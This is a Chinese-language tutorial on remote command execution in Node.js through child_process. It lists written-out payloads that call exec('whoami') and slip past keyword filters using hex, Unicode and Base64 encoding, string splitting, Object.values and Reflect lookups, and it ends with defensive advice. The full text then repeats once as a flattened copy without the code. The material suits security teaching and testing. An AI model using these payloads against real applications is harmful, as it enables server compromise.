NodeJS中的RCE的利用和绕过
字数 1307 2025-08-06 23:10:31

NodeJS中的RCE利用与绕过方法详解

0x01 NodeJS简介

Node.js是一个基于Chrome V8 JavaScript引擎构建的JavaScript运行时环境,它使JavaScript能够运行在服务端。Node.js采用事件驱动、非阻塞I/O模型,具有轻量级和高效的特点。

0x02 NodeJS中的RCE实现

2.1 child_process子进程模块

child_process模块提供了衍生子进程的能力,类似于popen(3)的功能,是NodeJS中实现RCE的主要途径。该模块提供了多种方法来创建和控制子进程:

  1. child_process.exec()

    • 衍生shell并在该shell中运行命令
    • 命令完成后将stdout和stderr传给回调函数
    • 示例:
      require("child_process").exec("whoami", function(err, stdout, stderr) {
          console.log(stdout);
      });
      
  2. child_process.spawn()

    • 异步衍生子进程
    • 不会阻塞Node.js事件循环
  3. child_process.spawnSync()

    • spawn()的同步版本
    • 会阻塞事件循环,直到衍生的进程退出或终止
  4. child_process.execSync()

    • exec()的同步版本
    • 会阻塞Node.js事件循环

0x03 NodeJS RCE绕过技术

3.1 常见Bypass方法

  1. 点号(.)过滤绕过

    • 使用方括号[]进行属性访问:
      require["child_process"]["exec"]("whoami")
      
  2. 字符串拼接绕过

    • 将关键字拆分为多个部分再拼接:
      "child_pro" + "cess"
      
  3. 十六进制编码绕过

    • JavaScript支持十六进制字符串表示:
      "\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73" // child_process
      
  4. Unicode编码绕过

    • 使用Unicode转义序列:
      "\u0063\u0068\u0069\u006c\u0064\u005f\u0070\u0072\u006f\u0063\u0065\u0073\u0073" // child_process
      
  5. ES6模板字符串绕过

    • 使用反引号模板:
      `${"child_pro"}${"cess"}`
      
  6. concat方法拼接

    • 使用字符串concat方法:
      "child_pro".concat("cess")
      
  7. Base64编码绕过

    • 使用Buffer解码Base64编码的字符串:
      Buffer.from("Y2hpbGRfcHJvY2Vzcw==", "base64").toString() // child_process
      

3.2 Object.values方法利用

Object.values(obj)返回一个包含对象自身所有可遍历属性值的数组,类似于Java中的反射机制。

获取child_process库的所有对象:

Object.values(require("child_process"))

执行命令示例(假设child_process是第4个对象):

Object.values(require("child_process"))[4].exec("whoami")

3.3 Reflect对象利用

Reflect是JavaScript内置对象,提供拦截JavaScript操作的方法。所有Reflect的方法都是静态的。

  1. Reflect.ownKeys()

    • 返回目标对象自身属性键组成的数组
    • 获取全局对象global的所有属性:
      Reflect.ownKeys(global)
      
  2. 查找特定方法

    • 使用find方法从全局对象中查找所需方法:
      Reflect.ownKeys(global).find(x => x === "require")
      
  3. 组合利用

    • 通过Reflect获取require函数后调用child_process:
      global[Reflect.ownKeys(global).find(x => x === "require")]("child_process").exec("whoami")
      

防御建议

  1. 避免将用户输入直接传递给child_process方法
  2. 对用户输入进行严格的过滤和验证
  3. 使用白名单机制限制可执行的命令
  4. 考虑使用沙箱环境隔离危险操作
  5. 保持Node.js和依赖库的及时更新

总结

NodeJS中的RCE主要通过child_process模块实现,而绕过技术则利用了JavaScript灵活的特性,包括多种字符串表示方式、反射机制和对象操作API。理解这些技术有助于开发更安全的Node.js应用,同时也能帮助安全研究人员进行有效的漏洞挖掘和测试。

NodeJS中的RCE利用与绕过方法详解 0x01 NodeJS简介 Node.js是一个基于Chrome V8 JavaScript引擎构建的JavaScript运行时环境,它使JavaScript能够运行在服务端。Node.js采用事件驱动、非阻塞I/O模型,具有轻量级和高效的特点。 0x02 NodeJS中的RCE实现 2.1 child_ process子进程模块 child_ process模块提供了衍生子进程的能力,类似于popen(3)的功能,是NodeJS中实现RCE的主要途径。该模块提供了多种方法来创建和控制子进程: child_ process.exec() 衍生shell并在该shell中运行命令 命令完成后将stdout和stderr传给回调函数 示例: child_ process.spawn() 异步衍生子进程 不会阻塞Node.js事件循环 child_ process.spawnSync() spawn()的同步版本 会阻塞事件循环,直到衍生的进程退出或终止 child_ process.execSync() exec()的同步版本 会阻塞Node.js事件循环 0x03 NodeJS RCE绕过技术 3.1 常见Bypass方法 点号(.)过滤绕过 使用方括号[ ]进行属性访问: 字符串拼接绕过 将关键字拆分为多个部分再拼接: 十六进制编码绕过 JavaScript支持十六进制字符串表示: Unicode编码绕过 使用Unicode转义序列: ES6模板字符串绕过 使用反引号模板: concat方法拼接 使用字符串concat方法: Base64编码绕过 使用Buffer解码Base64编码的字符串: 3.2 Object.values方法利用 Object.values(obj) 返回一个包含对象自身所有可遍历属性值的数组,类似于Java中的反射机制。 获取child_ process库的所有对象: 执行命令示例(假设child_ process是第4个对象): 3.3 Reflect对象利用 Reflect是JavaScript内置对象,提供拦截JavaScript操作的方法。所有Reflect的方法都是静态的。 Reflect.ownKeys() 返回目标对象自身属性键组成的数组 获取全局对象global的所有属性: 查找特定方法 使用find方法从全局对象中查找所需方法: 组合利用 通过Reflect获取require函数后调用child_ process: 防御建议 避免将用户输入直接传递给child_ process方法 对用户输入进行严格的过滤和验证 使用白名单机制限制可执行的命令 考虑使用沙箱环境隔离危险操作 保持Node.js和依赖库的及时更新 总结 NodeJS中的RCE主要通过child_ process模块实现,而绕过技术则利用了JavaScript灵活的特性,包括多种字符串表示方式、反射机制和对象操作API。理解这些技术有助于开发更安全的Node.js应用,同时也能帮助安全研究人员进行有效的漏洞挖掘和测试。